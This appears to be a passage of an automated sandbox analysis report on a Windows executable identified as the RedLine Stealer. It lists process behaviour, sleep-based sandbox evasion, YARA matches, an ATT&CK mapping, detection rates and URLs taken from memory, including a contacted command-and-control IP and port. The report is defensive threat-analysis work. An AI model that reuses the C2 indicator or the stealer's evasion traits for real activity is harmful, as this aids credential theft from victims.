Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe TID: 2120	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe TID: 3216	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe TID: 3216	Thread sleep time: -77000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Process created: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Jump to behavior

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468601055.0000000001600000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468601055.0000000001600000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468601055.0000000001600000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468601055.0000000001600000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 992, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 992, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	Process Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Virtualization/Sandbox Evasion21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	System Information Discovery12	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing2	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	39%	Virustotal		Browse
7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1142322		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dy	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetArguments	0%	Virustotal		Browse
http://tempuri.org/Endpoint/GetArguments	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://tempuri.org/	2%	Virustotal		Browse
http://tempuri.org/	0%	Avira URL Cloud	safe
http://45.137.155.31:11556	0%	Virustotal		Browse
http://45.137.155.31:11556	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse$	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyScanRequest	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse$	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetArgumentsResponse$	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://tempuri.org/Endpoint/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://45.137.155.31:115564	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://45.137.155.31:11556/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyScanRequestResponse$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.137.155.31:11556/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	false		high
https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dy	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetArguments	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/D	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	false		high
http://tempuri.org/	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469143603.0000000002C5A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.137.155.31:11556	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469171035.0000000002C62000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse$	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	false	URL Reputation: safe	unknown
https://api.ipify.org	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/VerifyScanRequest	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse$	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetArgumentsResponse$	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://45.137.155.31:115564	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.469143603.0000000002C5A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468860488.0000000002BC8000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468837509.0000000002BC1000.00000004.00000001.sdmp	false		high
